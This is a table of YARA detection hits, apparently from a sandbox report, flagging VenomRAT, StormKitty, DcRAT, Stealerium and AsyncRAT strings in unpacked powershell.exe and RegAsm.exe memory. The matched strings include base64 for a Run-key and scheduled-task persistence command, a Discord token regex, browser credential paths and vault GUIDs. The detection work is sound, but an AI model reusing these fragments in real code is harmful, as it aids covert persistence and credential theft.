4.2.powershell.exe.23adec1c7d8.9.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x2fc213:$sk01: LimerBoy/StormKitty 0x250b52:$str01: set_sUsername 0x25e084:$str03: set_sExpMonth 0x27343f:$str04: WritePasswords 0x273ef9:$str05: WriteCookies 0x277648:$str06: sChromiumPswPaths 0x277623:$str07: sGeckoBrowserPaths 0x28cccf:$str10: encrypted_key":"(.*?)"
4.2.powershell.exe.23adec1c7d8.9.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x28dc42:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x289d12:$str04: Pac_ket 0x299a30:$str05: Perfor_mance 0x299a74:$str06: Install_ed 0x244105:$str07: get_IsConnected 0x25a5ca:$str08: get_ActivatePo_ng 0x26e505:$str09: isVM_by_wim_temper 0x29a322:$str10: save_Plugin 0x28a432:$str11: timeout 3 > NUL 0x299610:$str12: ProcessHacker.exe 0x299802:$str13: Select * from Win32_CacheMemory
4.2.powershell.exe.23adec1c7d8.9.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x28dc42:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x28dba5:$s2: L2Mgc2NodGFza3MgL2
4.2.powershell.exe.23adec1c7d8.9.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x299802:$q1: Select * from Win32_CacheMemory 0x299842:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x299890:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x2998de:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
4.2.powershell.exe.23adec1c7d8.9.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x291a06:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
4.2.powershell.exe.23adec1c7d8.9.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2973a1:$s1: \VPN\NordVPN 0x297387:$s2: \VPN\OpenVPN 0x297369:$s3: \VPN\ProtonVPN
4.2.powershell.exe.23adec1c7d8.9.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x28c0eb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x28c15d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x28c1e7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x28c279:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x28c2e3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x28c355:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x28c3eb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x28c47b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
4.2.powershell.exe.23adec1c7d8.9.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x2fc200:$x2: https://github.com/LimerBoy/StormKitty 0x2fc21c:$x3: StormKitty 0x27c1f4:$s2: GetAntivirus 0x29225a:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x28b6a5:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x28cccd:$s6: "encrypted_key":"(.*?)"
4.2.powershell.exe.23adec1c7d8.9.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x289ca2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x285e16:$s6: VirtualBox 0x295995:$s6: VirtualBox 0x2913b2:$s8: Win32_ComputerSystem 0x2958fb:$s8: Win32_ComputerSystem 0x28e4de:$s9: Win32_Process Where ParentProcessID= 0x28e0fb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28e198:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x28e2ad:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x28e395:$cnc4: POST / HTTP/1.1
4.2.powershell.exe.23ade9504f2.11.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
4.2.powershell.exe.23ade9504f2.11.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.powershell.exe.23ade9504f2.11.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.powershell.exe.23ade9504f2.11.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
4.2.powershell.exe.23ade9504f2.11.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
4.2.powershell.exe.23ade9504f2.11.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x11d6b6:$a1: havecamera 0x1684e0:$a2: timeout 3 > NUL 0x16b863:$a3: START "" " 0x16bd78:$a3: START "" " 0x16bc53:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x16bcf0:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
4.2.powershell.exe.23ade9504f2.11.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x16ebda:$str01: Processe: 0x16ea96:$str02: Compname: 0x16eb90:$str04: SandBoxie: 0x16eb26:$str08: WEBCAMS COUNT: 0x16eb4a:$str09: [Virtualization] 0x16f398:$str10: [Open google maps]( 0x170e0f:$str11: Remember password: 0x163f02:$str12: Target.Browsers.Firefox 0x14b67d:$str13: Modules.Keylogger 0x153540:$str14: ClipperAddresses 0x1556e5:$str15: ChromiumPswPaths 0x1556f7:$str15: ChromiumPswPaths 0x15163a:$str16: DetectedBankingServices 0x1517a3:$str17: DetectCryptocurrencyServices 0x15f69c:$str18: CheckRemoteDebuggerPresent 0x160621:$str19: GetConnectedCamerasCount
4.2.powershell.exe.23ade9504f2.11.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x12ec00:$str01: set_sUsername 0x13c132:$str03: set_sExpMonth 0x1514ed:$str04: WritePasswords 0x151fa7:$str05: WriteCookies 0x1556f6:$str06: sChromiumPswPaths 0x1556d1:$str07: sGeckoBrowserPaths 0x16ad7d:$str10: encrypted_key":"(.*?)"
4.2.powershell.exe.23ade9504f2.11.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x16bcf0:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x167dc0:$str04: Pac_ket 0x177ade:$str05: Perfor_mance 0x177b22:$str06: Install_ed 0x1221b3:$str07: get_IsConnected 0x138678:$str08: get_ActivatePo_ng 0x14c5b3:$str09: isVM_by_wim_temper 0x1783d0:$str10: save_Plugin 0x1684e0:$str11: timeout 3 > NUL 0x1776be:$str12: ProcessHacker.exe 0x1778b0:$str13: Select * from Win32_CacheMemory
4.2.powershell.exe.23ade9504f2.11.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x16bcf0:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x16bc53:$s2: L2Mgc2NodGFza3MgL2
4.2.powershell.exe.23ade9504f2.11.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x1778b0:$q1: Select * from Win32_CacheMemory 0x1778f0:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x17793e:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x17798c:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
4.2.powershell.exe.23ade9504f2.11.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x16fab4:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
4.2.powershell.exe.23ade9504f2.11.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x17544f:$s1: \VPN\NordVPN 0x175435:$s2: \VPN\OpenVPN 0x175417:$s3: \VPN\ProtonVPN
4.2.powershell.exe.23ade9504f2.11.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x16a199:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16a20b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16a295:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16a327:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16a391:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16a403:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16a499:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16a529:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
4.2.powershell.exe.23ade9504f2.11.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x167d50:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x163ec4:$s6: VirtualBox 0x173a43:$s6: VirtualBox 0x16f460:$s8: Win32_ComputerSystem 0x1739a9:$s8: Win32_ComputerSystem 0x16c58c:$s9: Win32_Process Where ParentProcessID= 0x16c1a9:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16c246:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16c35b:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16c443:$cnc4: POST / HTTP/1.1
4.2.powershell.exe.23aceb266ae.4.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x4554a:$x2: https://github.com/LimerBoy/StormKitty 0x45566:$x3: StormKitty
4.2.powershell.exe.23adf03df9a.8.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
4.2.powershell.exe.23adf03df9a.8.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.powershell.exe.23adf03df9a.8.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.powershell.exe.23adf03df9a.8.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
4.2.powershell.exe.23adf03df9a.8.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
4.2.powershell.exe.23adf03df9a.8.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x11d67e:$a1: havecamera 0x1684a8:$a2: timeout 3 > NUL 0x16b82b:$a3: START "" " 0x16bd40:$a3: START "" " 0x16bc1b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x16bcb8:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
4.2.powershell.exe.23adf03df9a.8.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x16eba2:$str01: Processe: 0x16ea5e:$str02: Compname: 0x16eb58:$str04: SandBoxie: 0x16eaee:$str08: WEBCAMS COUNT: 0x16eb12:$str09: [Virtualization] 0x16f360:$str10: [Open google maps]( 0x170dd7:$str11: Remember password: 0x163eca:$str12: Target.Browsers.Firefox 0x14b645:$str13: Modules.Keylogger 0x153508:$str14: ClipperAddresses 0x1556ad:$str15: ChromiumPswPaths 0x1556bf:$str15: ChromiumPswPaths 0x151602:$str16: DetectedBankingServices 0x15176b:$str17: DetectCryptocurrencyServices 0x15f664:$str18: CheckRemoteDebuggerPresent 0x1605e9:$str19: GetConnectedCamerasCount
4.2.powershell.exe.23adf03df9a.8.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x12ebc8:$str01: set_sUsername 0x13c0fa:$str03: set_sExpMonth 0x1514b5:$str04: WritePasswords 0x151f6f:$str05: WriteCookies 0x1556be:$str06: sChromiumPswPaths 0x155699:$str07: sGeckoBrowserPaths 0x16ad45:$str10: encrypted_key":"(.*?)"
4.2.powershell.exe.23adf03df9a.8.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x16bcb8:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x167d88:$str04: Pac_ket 0x177aa6:$str05: Perfor_mance 0x177aea:$str06: Install_ed 0x12217b:$str07: get_IsConnected 0x138640:$str08: get_ActivatePo_ng 0x14c57b:$str09: isVM_by_wim_temper 0x178398:$str10: save_Plugin 0x1684a8:$str11: timeout 3 > NUL 0x177686:$str12: ProcessHacker.exe 0x177878:$str13: Select * from Win32_CacheMemory
4.2.powershell.exe.23adf03df9a.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x16bcb8:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x16bc1b:$s2: L2Mgc2NodGFza3MgL2
4.2.powershell.exe.23adf03df9a.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x177878:$q1: Select * from Win32_CacheMemory 0x1778b8:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x177906:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x177954:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
4.2.powershell.exe.23adf03df9a.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x16fa7c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
4.2.powershell.exe.23adf03df9a.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x175417:$s1: \VPN\NordVPN 0x1753fd:$s2: \VPN\OpenVPN 0x1753df:$s3: \VPN\ProtonVPN
4.2.powershell.exe.23adf03df9a.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x16a161:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16a1d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16a25d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16a2ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16a359:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16a3cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16a461:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16a4f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
4.2.powershell.exe.23adf03df9a.8.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x167d18:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x163e8c:$s6: VirtualBox 0x173a0b:$s6: VirtualBox 0x16f428:$s8: Win32_ComputerSystem 0x173971:$s8: Win32_ComputerSystem 0x16c554:$s9: Win32_Process Where ParentProcessID= 0x16c171:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16c20e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16c323:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16c40b:$cnc4: POST / HTTP/1.1
11.2.RegAsm.exe.525b8a.0.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
11.2.RegAsm.exe.525b8a.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.RegAsm.exe.525b8a.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
11.2.RegAsm.exe.525b8a.0.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
11.2.RegAsm.exe.525b8a.0.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
11.2.RegAsm.exe.525b8a.0.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x11d67e:$a1: havecamera 0x1684a8:$a2: timeout 3 > NUL 0x16b82b:$a3: START "" " 0x16bd40:$a3: START "" " 0x16bc1b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x16bcb8:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
11.2.RegAsm.exe.525b8a.0.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x16eba2:$str01: Processe: 0x16ea5e:$str02: Compname: 0x16eb58:$str04: SandBoxie: 0x16eaee:$str08: WEBCAMS COUNT: 0x16eb12:$str09: [Virtualization] 0x16f360:$str10: [Open google maps]( 0x170dd7:$str11: Remember password: 0x163eca:$str12: Target.Browsers.Firefox 0x14b645:$str13: Modules.Keylogger 0x153508:$str14: ClipperAddresses 0x1556ad:$str15: ChromiumPswPaths 0x1556bf:$str15: ChromiumPswPaths 0x151602:$str16: DetectedBankingServices 0x15176b:$str17: DetectCryptocurrencyServices 0x15f664:$str18: CheckRemoteDebuggerPresent 0x1605e9:$str19: GetConnectedCamerasCount
11.2.RegAsm.exe.525b8a.0.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x12ebc8:$str01: set_sUsername 0x13c0fa:$str03: set_sExpMonth 0x1514b5:$str04: WritePasswords 0x151f6f:$str05: WriteCookies 0x1556be:$str06: sChromiumPswPaths 0x155699:$str07: sGeckoBrowserPaths 0x16ad45:$str10: encrypted_key":"(.*?)"
11.2.RegAsm.exe.525b8a.0.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x16bcb8:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x167d88:$str04: Pac_ket 0x177aa6:$str05: Perfor_mance 0x177aea:$str06: Install_ed 0x12217b:$str07: get_IsConnected 0x138640:$str08: get_ActivatePo_ng 0x14c57b:$str09: isVM_by_wim_temper 0x178398:$str10: save_Plugin 0x1684a8:$str11: timeout 3 > NUL 0x177686:$str12: ProcessHacker.exe 0x177878:$str13: Select * from Win32_CacheMemory
11.2.RegAsm.exe.525b8a.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x16bcb8:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x16bc1b:$s2: L2Mgc2NodGFza3MgL2
11.2.RegAsm.exe.525b8a.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x177878:$q1: Select * from Win32_CacheMemory 0x1778b8:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x177906:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x177954:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
11.2.RegAsm.exe.525b8a.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x16fa7c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
11.2.RegAsm.exe.525b8a.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x175417:$s1: \VPN\NordVPN 0x1753fd:$s2: \VPN\OpenVPN 0x1753df:$s3: \VPN\ProtonVPN
11.2.RegAsm.exe.525b8a.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x16a161:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16a1d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16a25d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16a2ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16a359:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16a3cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16a461:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16a4f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
11.2.RegAsm.exe.525b8a.0.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x167d18:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x163e8c:$s6: VirtualBox 0x173a0b:$s6: VirtualBox 0x16f428:$s8: Win32_ComputerSystem 0x173971:$s8: Win32_ComputerSystem 0x16c554:$s9: Win32_Process Where ParentProcessID= 0x16c171:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16c20e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16c323:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16c40b:$cnc4: POST / HTTP/1.1
11.2.RegAsm.exe.400000.1.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
11.2.RegAsm.exe.400000.1.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
11.2.RegAsm.exe.400000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.RegAsm.exe.400000.1.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
11.2.RegAsm.exe.400000.1.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
11.2.RegAsm.exe.400000.1.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
11.2.RegAsm.exe.400000.1.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x241408:$a1: havecamera 0x28c232:$a2: timeout 3 > NUL 0x28f5b5:$a3: START "" " 0x28faca:$a3: START "" " 0x28f9a5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28fa42:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
11.2.RegAsm.exe.400000.1.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x29292c:$str01: Processe: 0x2927e8:$str02: Compname: 0x2928e2:$str04: SandBoxie: 0x292878:$str08: WEBCAMS COUNT: 0x29289c:$str09: [Virtualization] 0x2930ea:$str10: [Open google maps]( 0x294b61:$str11: Remember password: 0x287c54:$str12: Target.Browsers.Firefox 0x26f3cf:$str13: Modules.Keylogger 0x277292:$str14: ClipperAddresses 0x279437:$str15: ChromiumPswPaths 0x279449:$str15: ChromiumPswPaths 0x27538c:$str16: DetectedBankingServices 0x2754f5:$str17: DetectCryptocurrencyServices 0x2833ee:$str18: CheckRemoteDebuggerPresent 0x284373:$str19: GetConnectedCamerasCount
11.2.RegAsm.exe.400000.1.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x5db:$sk01: LimerBoy/StormKitty 0x252952:$str01: set_sUsername 0x25fe84:$str03: set_sExpMonth 0x27523f:$str04: WritePasswords 0x275cf9:$str05: WriteCookies 0x279448:$str06: sChromiumPswPaths 0x279423:$str07: sGeckoBrowserPaths 0x28eacf:$str10: encrypted_key":"(.*?)"
11.2.RegAsm.exe.400000.1.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x28fa42:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x28bb12:$str04: Pac_ket 0x29b830:$str05: Perfor_mance 0x29b874:$str06: Install_ed 0x245f05:$str07: get_IsConnected 0x25c3ca:$str08: get_ActivatePo_ng 0x270305:$str09: isVM_by_wim_temper 0x29c122:$str10: save_Plugin 0x28c232:$str11: timeout 3 > NUL 0x29b410:$str12: ProcessHacker.exe 0x29b602:$str13: Select * from Win32_CacheMemory
11.2.RegAsm.exe.400000.1.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x28fa42:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x28f9a5:$s2: L2Mgc2NodGFza3MgL2
11.2.RegAsm.exe.400000.1.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x29b602:$q1: Select * from Win32_CacheMemory 0x29b642:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x29b690:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x29b6de:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
11.2.RegAsm.exe.400000.1.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293806:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
11.2.RegAsm.exe.400000.1.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2991a1:$s1: \VPN\NordVPN 0x299187:$s2: \VPN\OpenVPN 0x299169:$s3: \VPN\ProtonVPN
11.2.RegAsm.exe.400000.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x28deeb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x28df5d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x28dfe7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x28e079:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x28e0e3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x28e155:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x28e1eb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x28e27b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
